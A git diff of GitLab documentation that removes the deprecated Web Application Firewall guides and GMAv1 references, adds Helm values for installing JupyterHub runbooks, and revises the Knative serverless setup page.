diff --git a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
index bf419c69885..33aefec224a 100644
--- a/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
+++ b/doc/user/project/clusters/protect/container_network_security/quick_start_guide.md
@@ -4,11 +4,9 @@ group: Container Security
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Getting started with Container Network Security
+# Getting started with Container Network Security **(FREE)**
-The following steps are recommended for installing Container Network Security. Although you can
-install some capabilities through GMAv1, we [recommend](#using-gmav1-with-gmav2) that you install
-applications through GMAv2 exclusively when using Container Network Security.
+The following steps are recommended for installing Container Network Security.
## Installation steps
@@ -21,8 +19,7 @@ The following steps are recommended to install and use Container Network Securit
1. Install and configure an Ingress node:
- - [Install the Ingress node via CI/CD (GMAv2)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd).
- - [Determine the external endpoint via the manual method](../../../../clusters/applications.md#determining-the-external-endpoint-manually).
+ - [Install the Ingress node via CI/CD (Cluster Management Project)](../../../../clusters/applications.md#install-ingress-using-gitlab-cicd).
- Navigate to the Kubernetes page and enter the [DNS address for the external endpoint](../../index.md#base-domain)
into the **Base domain** field on the **Details** tab. Save the changes to the Kubernetes
cluster.
@@ -60,7 +57,7 @@ use both methods simultaneously, when the application project pipeline runs the
NetworkPolicy in the `auto-deploy-values.yaml` file may override policies configured in the UI
editor.
-## Monitoring throughput `**(ULTIMATE)**`
+## Monitoring throughput **(ULTIMATE)**
To view statistics for Container Network Security, you must follow the installation steps above and
configure GitLab integration with Prometheus. Also, if you use custom Helm values for Cilium, you
@@ -83,12 +80,8 @@ Additional information about the statistics page is available in the
## Forwarding logs to a SIEM
Cilium logs can be forwarded to a SIEM or an external logging system through syslog protocol by
-installing and configuring Fluentd. Fluentd can be installed through GitLab in two ways:
-
-- The [GMAv1 method](../../../../clusters/applications.md#fluentd)
-- The [GMAv2 method](../../../../clusters/applications.md#install-fluentd-using-gitlab-cicd)
-
-GitLab strongly encourages using only the GMAv2 method to install Fluentd.
+installing and configuring Fluentd. Fluentd can be installed through the GitLab
+[Cluster Management Project](../../../../clusters/applications.md#install-fluentd-using-gitlab-cicd).
## Viewing the logs
@@ -135,19 +128,6 @@ initial troubleshooting steps that resolve the most common problems:
- Delete the relevant namespace in Kubernetes by running `kubectl delete namespaces <insert-some-namespace-name>` in your Kubernetes cluster.
- Rerun the application project pipeline to redeploy the application.
-### Using GMAv1 with GMAv2
-
-When GMAv1 and GMAv2 are used together on the same cluster, users may experience problems with
-applications being uninstalled or removed from the cluster. This is because GMAv2 actively
-uninstalls applications that are installed with GMAv1 and not configured to be installed with GMAv2.
-It's possible to use a mixture of applications installed with GMAv1 and GMAv2 by ensuring that the
-GMAv1 applications are installed **after** the GMAv2 cluster management project pipeline runs. GMAv1
-applications must be reinstalled after each run of that pipeline. This approach isn't recommended as
-it's error-prone and can lead to downtime as applications are uninstalled and later reinstalled.
-When using Container Network Security, the preferred and recommended path is to install all
-necessary components with GMAv2 and the cluster management project.
-
**Related documentation links:**
-- [GitLab Managed Apps v1 (GMAv1)](../../../../clusters/applications.md#install-with-one-click-deprecated)
-- [GitLab Managed Apps v2 (GMAv2)](../../../../clusters/management_project.md)
+- [Cluster Management Project](../../../../clusters/management_project.md)
diff --git a/doc/user/project/clusters/protect/index.md b/doc/user/project/clusters/protect/index.md
index c489a0ddd30..1314a1948d5 100644
--- a/doc/user/project/clusters/protect/index.md
+++ b/doc/user/project/clusters/protect/index.md
@@ -4,7 +4,7 @@ group: Container Security
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
---
-# Protecting your deployed applications
+# Protecting your deployed applications **(FREE)**
GitLab makes it straightforward to protect applications deployed in [connected Kubernetes clusters](index.md).
These protections are available in the Kubernetes network layer and in the container itself. At
@@ -18,9 +18,6 @@ containers themselves.
The following capabilities are available to protect deployed applications in Kubernetes:
-- Web Application Firewall
- - [Overview](web_application_firewall/index.md)
- - [Installation guide](web_application_firewall/quick_start_guide.md)
- Container Network Security
- [Overview](container_network_security/index.md)
- [Installation guide](container_network_security/quick_start_guide.md)
diff --git a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png b/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png
deleted file mode 100644
index 2dd6df3d37b..00000000000
--- a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_disabled_settings_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_installation_v12_10.png b/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_installation_v12_10.png
deleted file mode 100644
index e88f62a2eba..00000000000
--- a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_installation_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png b/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png
deleted file mode 100644
index 1c99d4f7f96..00000000000
--- a/doc/user/project/clusters/protect/web_application_firewall/img/guide_waf_ingress_save_changes_v12_10.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/clusters/protect/web_application_firewall/index.md b/doc/user/project/clusters/protect/web_application_firewall/index.md
deleted file mode 100644
index 6e2e71c6ced..00000000000
--- a/doc/user/project/clusters/protect/web_application_firewall/index.md
+++ /dev/null
@@ -1,103 +0,0 @@
----
-stage: Protect
-group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
----
-
-# Web Application Firewall
-
-WARNING:
-The Web Application Firewall is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/271276)
-in GitLab 13.6, and planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/271349)
-in GitLab 14.0.
-
-A web application firewall (or WAF) filters, monitors, and blocks HTTP traffic to
-and from a web application. By inspecting HTTP traffic, it can prevent attacks
-stemming from web application security flaws. It can be used to detect SQL injection,
-Cross-Site Scripting (XSS), Remote File Inclusion, Security Misconfigurations, and
-much more.
-
-## Overview
-
-GitLab provides a WAF out of the box after Ingress is deployed. All you need to do is deploy your
-application along with a service and Ingress resource. In the GitLab [Ingress](../../../../clusters/applications.md#ingress)
-deployment, the [ModSecurity](https://modsecurity.org/)
-module is loaded into Ingress-NGINX by default and monitors the traffic to the applications
-which have an Ingress. The ModSecurity module runs with the [OWASP Core Rule Set (CRS)](https://coreruleset.org/)
-by default. The OWASP CRS detects and logs a wide range of common attacks.
-
-By default, the WAF is deployed in Detection-only mode and only logs attack attempts.
-
-## Requirements
-
-The Web Application Firewall requires:
-
-- **Kubernetes**
-
- To enable the WAF, you need:
-
- - Kubernetes 1.12+.
- - A load balancer. You can use NGINX-Ingress by deploying it to your
- Kubernetes cluster by either:
- - Using the [`nginx-ingress` Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress).
- - Installing the [Ingress GitLab Managed App](../../../../clusters/applications.md#ingress) with WAF enabled.
-
-- **Configured Kubernetes objects**
-
- To use the WAF on an application, you need to deploy the following Kubernetes resources:
-
- - [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/)
- - [Service](https://kubernetes.io/docs/concepts/services-networking/service/)
- - [Ingress Resource](https://kubernetes.io/docs/concepts/services-networking/ingress/)
-
-## Quick start
-
-If you are using GitLab.com, see the [quick start guide](quick_start_guide.md) for
-how to use the WAF with GitLab.com and a Kubernetes cluster on Google Kubernetes Engine (GKE).
-
-If you are using a self-managed instance of GitLab, you must configure the
-[Google OAuth2 OmniAuth Provider](../../../../../integration/google.md) before
-you can configure a cluster on GKE. Once this is set up, you can follow the steps on the
-[quick start guide](quick_start_guide.md)
-to get started.
-
-NOTE:
-This guide shows how the WAF can be deployed using Auto DevOps. The WAF
-is available by default to all applications no matter how they are deployed,
-as long as they are using Ingress.
-
-## Network firewall vs. Web Application Firewall
-
-A network firewall or packet filter looks at traffic at the Network (L3) and Transport (L4) layers
-of the [OSI Model](https://en.wikipedia.org/wiki/OSI_model), and denies packets from entry based on
-a set of rules regarding the network in general.
-
-A Web Application Firewall operates at the Application (L7) layer of the OSI Model and can
-examine all the packets traveling to and from a specific application. A WAF can set
-more advanced rules around threat detection.
-
-## Features
-
-ModSecurity is enabled with the [OWASP Core Rule Set (CRS)](https://github.com/coreruleset/coreruleset/) by
-default. The OWASP CRS logs attempts to the following attacks:
-
-- [SQL Injection](https://wiki.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_SQL_Injection)
-- [Cross-Site Scripting](https://wiki.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Cross-Site_Scripting_(XSS))
-- [Local File Inclusion](https://wiki.owasp.org/index.php/Testing_for_Local_File_Inclusion)
-- [Remote File Inclusion](https://wiki.owasp.org/index.php/OWASP_Periodic_Table_of_Vulnerabilities_-_Remote_File_Inclusion)
-- [Code Injection](https://wiki.owasp.org/index.php/Code_Injection)
-- [Session Fixation](https://wiki.owasp.org/index.php/Session_fixation)
-- [Scanner Detection](https://wiki.owasp.org/index.php/Category:Vulnerability_Scanning_Tools)
-- [Metadata/Error Leakages](https://wiki.owasp.org/index.php/Improper_Error_Handling)
-
-It is good to have a basic knowledge of the following:
-
-- [Kubernetes](https://kubernetes.io/docs/home/)
-- [Ingress](https://kubernetes.github.io/ingress-nginx/)
-- [ModSecurity](https://www.modsecurity.org/)
-- [OWASP Core Rule Set](https://github.com/coreruleset/coreruleset/)
-
-## Roadmap
-
-You can find more information on the product direction of the WAF in
-[Category Direction - Web Application Firewall](https://about.gitlab.com/direction/protect/web_application_firewall/).
diff --git a/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md b/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md
deleted file mode 100644
index e7d8d591510..00000000000
--- a/doc/user/project/clusters/protect/web_application_firewall/quick_start_guide.md
+++ /dev/null
@@ -1,265 +0,0 @@
----
-stage: Protect
-group: Container Security
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
----
-
-# Getting started with the Web Application Firewall
-
-WARNING:
-The Web Application Firewall is in its end-of-life process. It is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/271276)
-in GitLab 13.6, and planned for [removal](https://gitlab.com/gitlab-org/gitlab/-/issues/271349)
-in GitLab 14.0.
-
-This is a step-by-step guide to help you use the GitLab [Web Application Firewall](index.md) after
-deploying a project hosted on GitLab.com to Google Kubernetes Engine using [Auto DevOps](../../../../../topics/autodevops/index.md).
-
-The GitLab native Kubernetes integration is used, so you do not need
-to create a Kubernetes cluster manually using the Google Cloud Platform console.
-A simple application is created and deployed based on a GitLab template.
-
-These instructions also work for a self-managed GitLab instance. However, you
-need to ensure your own [runners are configured](../../../../../ci/runners/README.md) and
-[Google OAuth is enabled](../../../../../integration/google.md).
-
-The GitLab Web Application Firewall is deployed with [Ingress](../../../../clusters/applications.md#ingress),
-so it is available to your applications no matter how you deploy them to Kubernetes.
-
-## Configuring your Google account
-
-Before creating and connecting your Kubernetes cluster to your GitLab project,
-you need a Google Cloud Platform account. If you do not already have one,
-sign up at <https://console.cloud.google.com>. You need to either sign in with an existing
-Google account (for example, one that you use to access Gmail, Drive, etc.) or create a new one.
-
-1. To enable the required APIs and related services, follow the steps in the ["Before you begin" section of the Kubernetes Engine docs](https://cloud.google.com/kubernetes-engine/docs/quickstart#before-you-begin).
-1. Make sure you have created a [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account).
-
-NOTE:
-Every new Google Cloud Platform (GCP) account receives [$300 in credit](https://console.cloud.google.com/freetrial),
-and in partnership with Google, GitLab is able to offer an additional $200 for new GCP accounts to get started with the GitLab
-Google Kubernetes Engine integration. All you have to do is [follow this link](https://cloud.google.com/partners/partnercredit/?PCN=a0n60000006Vpz4AAC) and apply for credit.
-
-## Creating a new project from a template
-
-We use a GitLab project templates to get started. As the name suggests,
-those projects provide a bare-bones application built on some well-known frameworks.
-
-1. In GitLab, click the plus icon (**+**) at the top of the navigation bar and select
- **New project**.
-1. Go to the **Create from template** tab where you can choose for example a Ruby on
- Rails, Spring, or NodeJS Express project.
- Use the Ruby on Rails template.
-
- ![Select project template](../../../../../topics/autodevops/img/guide_project_template_v12_3.png)
-
-1. Give your project a name, optionally a description, and make it public so that
- you can take advantage of the features available in the
- [GitLab Ultimate plan](https://about.gitlab.com/pricing/).
-
- ![Create project](../../../../../topics/autodevops/img/guide_create_project_v12_3.png)
-
-1. Click **Create project**.
-
-Now that the project is created, the next step is to create the Kubernetes cluster
-to deploy this application under.
-
-## Creating a Kubernetes cluster from within GitLab
-
-1. On the project's landing page, click **Add Kubernetes cluster**
- (note that this option is also available when you navigate to **Operations > Kubernetes**).
-
- ![Project landing page](../../../../../topics/autodevops/img/guide_project_landing_page_v12_10.png)
-
-1. On the **Create new cluster on GKE** tab, click **Sign in with Google**.
-
- ![Google sign in](../../../../../topics/autodevops/img/guide_google_signin_v12_3.png)
-
-1. Connect with your Google account and click **Allow** when asked (this
- appears only the first time you connect GitLab with your Google account).
-
- ![Google auth](../../../../../topics/autodevops/img/guide_google_auth_v12_3.png)
-
-1. The last step is to provide the cluster details.
- 1. Give it a name, leave the environment scope as is, and choose the GCP project under which to create the cluster.
- (Per the instructions to [configure your Google account](#configuring-your-google-account), a project should have already been created for you.)
- 1. Choose the [region/zone](https://cloud.google.com/compute/docs/regions-zones/) to create the cluster in.
- 1. Enter the number of nodes you want it to have.
- 1. Choose the [machine type](https://cloud.google.com/compute/docs/machine-types).
-
- ![GitLab GKE cluster details](../../../../../topics/autodevops/img/guide_gitlab_gke_details_v12_3.png)
-
-1. Click **Create Kubernetes cluster**.
-
-After a couple of minutes, the cluster is created. You can also see its
-status on your [GCP dashboard](https://console.cloud.google.com/kubernetes).
-
-The next step is to install some applications on your cluster that are needed
-to take full advantage of Auto DevOps.
-
-## Install Ingress
-
-The GitLab Kubernetes integration comes with some
-[pre-defined applications](../../index.md#installing-applications)
-for you to install.
-
-![Cluster applications](../../../../../topics/autodevops/img/guide_cluster_apps_v12_3.png)
-
-For this guide, we need to install Ingress. Ingress provides load balancing,
-SSL termination, and name-based virtual hosting, using NGINX behind
-the scenes. Make sure to switch the toggle to the enabled position before installing.
-
-Both logging and blocking modes are available for WAF. While logging mode is useful for
-auditing anomalous traffic, blocking mode ensures the traffic doesn't reach past Ingress.
-
-![Cluster applications](img/guide_waf_ingress_installation_v12_10.png)
-
-After Ingress is installed, wait a few seconds and copy the IP address that
-is displayed in order to add in your base **Domain** at the top of the page. For
-the purpose of this guide, we use the one suggested by GitLab. Once you have
-filled in the domain, click **Save changes**.
-
-![Cluster Base Domain](../../../../../topics/autodevops/img/guide_base_domain_v12_3.png)
-
-Prometheus should also be installed. It is an open-source monitoring and
-alerting system that is used to supervise the deployed application.
-Installing GitLab Runner is not required as we use the shared runners that
-GitLab.com provides.
-
-## Enabling Auto DevOps (optional)
-
-Starting with GitLab 11.3, Auto DevOps is enabled by default. However, it is possible to disable
-Auto DevOps at both the instance-level (for self-managed instances) and the group-level.
-Follow these steps if Auto DevOps has been manually disabled:
-
-1. Navigate to **Settings > CI/CD > Auto DevOps**.
-1. Select **Default to Auto DevOps pipeline**.
-1. Select the [continuous deployment strategy](../../../../../topics/autodevops/index.md#deployment-strategy)
- which automatically deploys the application to production once the pipeline
- successfully runs on the `master` branch.
-1. Click **Save changes**.
-
- ![Auto DevOps settings](../../../../../topics/autodevops/img/guide_enable_autodevops_v12_3.png)
-
-Once you complete all the above and save your changes, a new pipeline is
-automatically created. To view the pipeline, go to **CI/CD > Pipelines**.
-
-![First pipeline](../../../../../topics/autodevops/img/guide_first_pipeline_v12_3.png)
-
-The next section explains what each pipeline job does.
-
-## Deploying the application
-
-By now you should see the pipeline running, but what is it running exactly?
-
-To navigate inside the pipeline, click its status badge (its status should be "Running").
-The pipeline is split into a few stages, each running a couple of jobs.
-
-![Pipeline stages](../../../../../topics/autodevops/img/guide_pipeline_stages_v13_0.png)
-
-In the **build** stage, the application is built into a Docker image and then
-uploaded to your project's [Container Registry](../../../../packages/container_registry/index.md)
-([Auto Build](../../../../../topics/autodevops/stages.md#auto-build)).
-
-In the **test** stage, GitLab runs various checks on the application.
-
-The **production** stage is run after the tests and checks finish, and it automatically
-deploys the application in Kubernetes ([Auto Deploy](../../../../../topics/autodevops/stages.md#auto-deploy)).
-
-The **production** stage creates Kubernetes objects
-like a Deployment, Service, and Ingress resource. The
-application is monitored by the WAF automatically.
-
-## Validating Ingress is running ModSecurity
-
-Now we can make sure that Ingress is running properly with ModSecurity and send
-a request to ensure our application is responding correctly. You must connect to
-your cluster either using [Cloud Shell](https://cloud.google.com/shell/) or the [Google Cloud SDK](https://cloud.google.com/sdk/docs/install).
-
-1. After connecting to your cluster, check if the Ingress-NGINX controller is running and ModSecurity is enabled.
-
- This is done by running the following commands:
-
- ```shell
- $ kubectl get pods -n gitlab-managed-apps | grep 'ingress-controller'
- ingress-nginx-ingress-controller-55f9cf6584-dxljn 2/2 Running
-
- $ kubectl -n gitlab-managed-apps exec -it $(kubectl get pods -n gitlab-managed-apps | grep 'ingress-controller' | awk '{print $1}') -- cat /etc/nginx/nginx.conf | grep 'modsecurity on;'
- modsecurity on;
- ```
-
-1. Verify the Rails application has been installed properly.
-
- ```shell
- $ kubectl get ns
- auto-devv-2-16730183-production Active
-
- $ kubectl get pods -n auto-devv-2-16730183-production
- NAME READY STATUS RESTARTS
- production-5778cfcfcd-nqjcm 1/1 Running 0
- production-postgres-6449f8cc98-r7xgg 1/1 Running 0
- ```
-
-1. To make sure the Rails application is responding, send a request to it by running:
-
- ```shell
- $ kubectl get ing -n auto-devv-2-16730183-production
- NAME HOSTS PORTS
- production-auto-deploy fjdiaz-auto-devv-2.34.68.60.207.nip.io,le-16730183.34.68.60.207.nip.io 80, 443
-
- $ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" | grep 'Rails!' --after 2 --before 2
- <body>
- <p>You're on Rails!</p>
- </body>
- ```
-
-Now that we have confirmed our system is properly setup, we can go ahead and test
-the WAF with OWASP CRS!
-
-## Testing out the OWASP Core Rule Set
-
-Now let's send a potentially malicious request, as if we were a scanner,
-checking for vulnerabilities within our application and examine the ModSecurity logs:
-
-```shell
-$ curl --location --insecure "fjdiaz-auto-devv-2.34.68.60.207.nip.io" --header "User-Agent: absinthe" | grep 'Rails!' --after 2 --before 2
-<body>
- <p>You're on Rails!</p>
-</body>
-
-$ kubectl -n gitlab-managed-apps exec -it $(kubectl get pods -n gitlab-managed-apps | grep 'ingress-controller' | awk '{print $1}') -- cat /var/log/modsec/audit.log | grep 'absinthe'
-{
- "message": "Found User-Agent associated with security scanner",
- "details": {
- "match": "Matched \"Operator `PmFromFile' with parameter `scanners-user-agents.data' against variable `REQUEST_HEADERS:user-agent' (Value: `absinthe' )",
- "reference": "o0,8v84,8t:lowercase",
- "ruleId": "913100",
- "file": "/etc/nginx/owasp-modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf",
- "lineNumber": "33",
- "data": "Matched Data: absinthe found within REQUEST_HEADERS:user-agent: absinthe",
- "severity": "2",
- "ver": "OWASP_CRS/3.2.0",
- "rev": "",
- "tags": ["application-multi", "language-multi", "platform-multi", "attack-reputation-scanner", "OWASP_CRS", "OWASP_CRS/AUTOMATION/SECURITY_SCANNER", "WASCTC/WASC-21", "OWASP_TOP_10/A7", "PCI/6.5.10"],
- "maturity": "0",
- "accuracy": "0"
- }
-}
-```
-
-You can see that ModSecurity logs the suspicious behavior. By sending a request
-with the `User Agent: absinthe` header, which [absinthe](https://github.com/cameronhotchkies/Absinthe),
-a tool for testing for SQL injections uses, we can detect that someone was
-searching for vulnerabilities on our system. Detecting scanners is useful, because we
-can learn if someone is trying to exploit our system.
-
-## Conclusion
-
-You can now see the benefits of a using a Web Application Firewall.
-ModSecurity and the OWASP Core Rule Set, offer many more benefits.
-You can explore them in more detail:
-
-- [Category Direction - Web Application Firewall](https://about.gitlab.com/direction/protect/web_application_firewall/)
-- [ModSecurity](https://www.modsecurity.org/)
-- [OWASP Core Rule Set](https://github.com/coreruleset/coreruleset/)
-- [AutoDevOps](../../../../../topics/autodevops/index.md)
diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md
index e0b8c074fcf..b2054c4befb 100644
--- a/doc/user/project/clusters/runbooks/index.md
+++ b/doc/user/project/clusters/runbooks/index.md
@@ -63,18 +63,93 @@ information.
Follow this step-by-step guide to configure an executable runbook in GitLab using
the components outlined above and the pre-loaded demo runbook.
-1. Add a Kubernetes cluster to your project by following the steps outlined in
- [Create new cluster](../add_remove_clusters.md#create-new-cluster).
-
-1. Click the **Install** button next to the **Ingress** application to install Ingress.
-
- ![install ingress](img/ingress-install.png)
-
-1. After Ingress has been installed successfully, click the **Install** button next
- to the **JupyterHub** application. You need the **Jupyter Hostname** provided
- here in the next step.
-
- ![install JupyterHub](img/jupyterhub-install.png)
+1. Create an [OAuth Application for JupyterHub](../../../../integration/oauth_provider.md#gitlab-as-oauth2-authentication-service-provider).
+1. When [installing JupyterHub with Helm](https://zero-to-jupyterhub.readthedocs.io/en/latest/jupyterhub/installation.html), use the following values
+
+ ```yaml
+ #-----------------------------------------------------------------------------
+ # The gitlab and ingress sections must be customized!
+ #-----------------------------------------------------------------------------
+
+ gitlab:
+ clientId: <Your OAuth Application ID>
+ clientSecret: <Your OAuth Application Secret>
+ callbackUrl: http://<Jupyter Hostname>/hub/oauth_callback,
+ # Limit access to members of specific projects or groups:
+ # allowedGitlabGroups: [ "my-group-1", "my-group-2" ]
+ # allowedProjectIds: [ 12345, 6789 ]
+
+ # ingress is required for OAuth to work
+ ingress:
+ enabled: true
+ host: <JupyterHostname>
+ # tls:
+ # - hosts:
+ # - <JupyterHostanme>
+ # secretName: jupyter-cert
+ # annotations:
+ # kubernetes.io/ingress.class: "nginx"
+ # kubernetes.io/tls-acme: "true"
+
+ #-----------------------------------------------------------------------------
+ # NO MODIFICATIONS REQUIRED BEYOND THIS POINT
+ #-----------------------------------------------------------------------------
+
+ hub:
+ extraEnv:
+ JUPYTER_ENABLE_LAB: 1
+ extraConfig: |
+ c.KubeSpawner.cmd = ['jupyter-labhub']
+ c.GitLabOAuthenticator.scope = ['api read_repository write_repository']
+
+ async def add_auth_env(spawner):
+ '''
+ We set user's id, login and access token on single user image to
+ enable repository integration for JupyterHub.
+ See: https://gitlab.com/gitlab-org/gitlab-foss/issues/47138#note_154294790
+ '''
+ auth_state = await spawner.user.get_auth_state()
+
+ if not auth_state:
+ spawner.log.warning("No auth state for %s", spawner.user)
+ return
+
+ spawner.environment['GITLAB_ACCESS_TOKEN'] = auth_state['access_token']
+ spawner.environment['GITLAB_USER_LOGIN'] = auth_state['gitlab_user']['username']
+ spawner.environment['GITLAB_USER_ID'] = str(auth_state['gitlab_user']['id'])
+ spawner.environment['GITLAB_USER_EMAIL'] = auth_state['gitlab_user']['email']
+ spawner.environment['GITLAB_USER_NAME'] = auth_state['gitlab_user']['name']
+
+ c.KubeSpawner.pre_spawn_hook = add_auth_env
+
+ auth:
+ type: gitlab
+ state:
+ enabled: true
+
+ singleuser:
+ defaultUrl: "/lab"
+ image:
+ name: registry.gitlab.com/gitlab-org/jupyterhub-user-image
+ tag: latest
+ lifecycleHooks:
+ postStart:
+ exec:
+ command:
+ - "sh"
+ - "-c"
+ - >
+ git clone https://gitlab.com/gitlab-org/nurtch-demo.git DevOps-Runbook-Demo || true;
+ echo "https://oauth2:${GITLAB_ACCESS_TOKEN}@${GITLAB_HOST}" > ~/.git-credentials;
+ git config --global credential.helper store;
+ git config --global user.email "${GITLAB_USER_EMAIL}";
+ git config --global user.name "${GITLAB_USER_NAME}";
+ jupyter serverextension enable --py jupyterlab_git
+
+ proxy:
+ service:
+ type: ClusterIP
+ ```
1. After JupyterHub has been installed successfully, open the **Jupyter Hostname**
in your browser. Click the **Sign in with GitLab** button to log in to
diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md
index e355b562c36..e4ac1eabffe 100644
--- a/doc/user/project/clusters/serverless/index.md
+++ b/doc/user/project/clusters/serverless/index.md
@@ -15,7 +15,7 @@ Serverless is currently in [alpha](https://about.gitlab.com/handbook/product/git
Serverless architectures offer Operators and Developers the ability write highly scalable applications without provisioning a single server.
-GitLab supports several ways deploy Serverless applications in both Kubernetes Environments and also major cloud FAAS environments.
+GitLab supports several ways deploy Serverless applications in both Kubernetes Environments and also major cloud Function as a Service (FaaS) environments.
Currently we support:
@@ -35,7 +35,7 @@ of the box through its main components:
For more information on Knative, visit the [Knative docs repository](https://github.com/knative/docs).
-With GitLab Serverless, you can deploy both functions-as-a-service (FaaS) and serverless applications.
+With GitLab Serverless, you can deploy both FaaS and serverless applications.
## Prerequisites
@@ -53,7 +53,7 @@ To run Knative on GitLab, you need:
The set of minimum recommended cluster specifications to run Knative is 3 nodes, 6 vCPUs, and 22.50 GB memory.
1. **GitLab Runner:** A runner is required to run the CI jobs that deploy serverless
applications or functions onto your cluster. You can install GitLab Runner
- onto the existing Kubernetes cluster. See [Installing Applications](../index.md#installing-applications) for more information.
+ onto the [existing Kubernetes cluster](https://docs.gitlab.com/runner/install/kubernetes.html).
1. **Domain Name:** Knative provides its own load balancer using Istio, and an
external IP address or hostname for all the applications served by Knative. Enter a
wildcard domain to serve your applications. Configure your DNS server to use the
@@ -68,54 +68,18 @@ To run Knative on GitLab, you need:
`Dockerfile` in order to build your applications. It should be included at the root of your
project's repository and expose port `8080`. `Dockerfile` is not require if you plan to build serverless functions
using our [runtimes](https://gitlab.com/gitlab-org/serverless/runtimes).
-1. **Prometheus** (optional): Installing Prometheus allows you to monitor the scale and traffic of your serverless function/application.
- See [Installing Applications](../index.md#installing-applications) for more information.
+1. **Prometheus** (optional): The [Prometheus cluster integration](../../../clusters/integrations.md#prometheus-cluster-integration)
+ allows you to monitor the scale and traffic of your serverless function/application.
1. **Logging** (optional): Configuring logging allows you to view and search request logs for your serverless function/application.
See [Configuring logging](#configuring-logging) for more information.
-## Installing Knative via the GitLab Kubernetes integration
-
-The minimum recommended cluster size to run Knative is 3-nodes, 6 vCPUs, and 22.50 GB
-memory. **RBAC must be enabled.**
-
-1. [Add a Kubernetes cluster](../add_remove_clusters.md).
-1. Select the **Applications** tab and scroll down to the Knative app section. Enter the domain to be used with
- your application/functions (e.g. `example.com`) and click **Install**.
-
- ![install-knative](img/install-knative.png)
-
-1. After the Knative installation has finished, you can wait for the IP address or hostname to be displayed in the
- **Knative Endpoint** field or [retrieve the Istio Ingress Endpoint manually](../../../clusters/applications.md#determining-the-external-endpoint-manually).
-
- NOTE:
- Running `kubectl` commands on your cluster requires setting up access to the cluster first.
- For clusters created on GKE, see [GKE Cluster Access](https://cloud.google.com/kubernetes-engine/docs/how-to/cluster-access-for-kubectl),
- for other platforms [Install kubectl](https://kubernetes.io/docs/tasks/tools/).
-
-1. The Ingress is now available at this address and routes incoming requests to the proper service based on the DNS
- name in the request. To support this, a wildcard DNS record should be created for the desired domain name. For example,
- if your Knative base domain is `knative.info` then you need to create an A record or CNAME record with domain `*.knative.info`
- pointing the IP address or hostname of the Ingress.
-
- ![DNS entry](img/dns-entry.png)
-
-You can deploy either [functions](#deploying-functions) or [serverless applications](#deploying-serverless-applications)
-on a given project, but not both. The current implementation makes use of a
-`serverless.yml` file to signal a FaaS project.
-
-## Using an existing installation of Knative
+## Configuring Knative
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/58941) in GitLab 12.0.
-The _invocations_ monitoring feature of GitLab serverless is unavailable when
-adding an existing installation of Knative.
-
-It's also possible to use GitLab Serverless with an existing Kubernetes cluster
-which already has Knative installed. You must do the following:
-
1. Follow the steps to
- [add an existing Kubernetes
- cluster](../add_remove_clusters.md#add-existing-cluster).
+ [add a Kubernetes
+ cluster](../add_remove_clusters.md).
1. Ensure GitLab can manage Knative:
- For a non-GitLab managed cluster, ensure that the service account for the token
@@ -164,13 +128,17 @@ which already has Knative installed. You must do the following:
kubectl apply -f knative-serving-only-role.yaml
```
- If you would rather grant permissions on a per service account basis, you can do this
- using a `Role` and `RoleBinding` specific to the service account and namespace.
+ Alternatively, permissions can be granted on a per-service account basis
+ using `Role`s and `RoleBinding`s (see the [Kubernetes RBAC
+ documentation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)
+ for more information).
1. Follow the steps to deploy [functions](#deploying-functions)
or [serverless applications](#deploying-serverless-applications) onto your
cluster.
+1. **Optional:** For invocation metrics to show in GitLab, additional Istio metrics need to be configured in your cluster. For example, with Knative v0.9.0, you can use [this manifest](https://gitlab.com/gitlab-org/charts/knative/-/raw/v0.10.0/vendor/istio-metrics.yml).
+
## Supported runtimes
Serverless functions for GitLab can be run using:
@@ -183,7 +151,7 @@ If a runtime is not available for the required programming language, consider de
### GitLab-managed runtimes
-Currently the following GitLab-managed [runtimes](https://gitlab.com/gitlab-org/serverless/runtimes)
+The following GitLab-managed [runtimes](https://gitlab.com/gitlab-org/serverless/runtimes)
are available:
- `go` (proof of concept)
@@ -352,7 +320,7 @@ After the `gitlab-ci.yml` template has been added and the `serverless.yml` file
has been created, pushing a commit to your project results in a CI pipeline
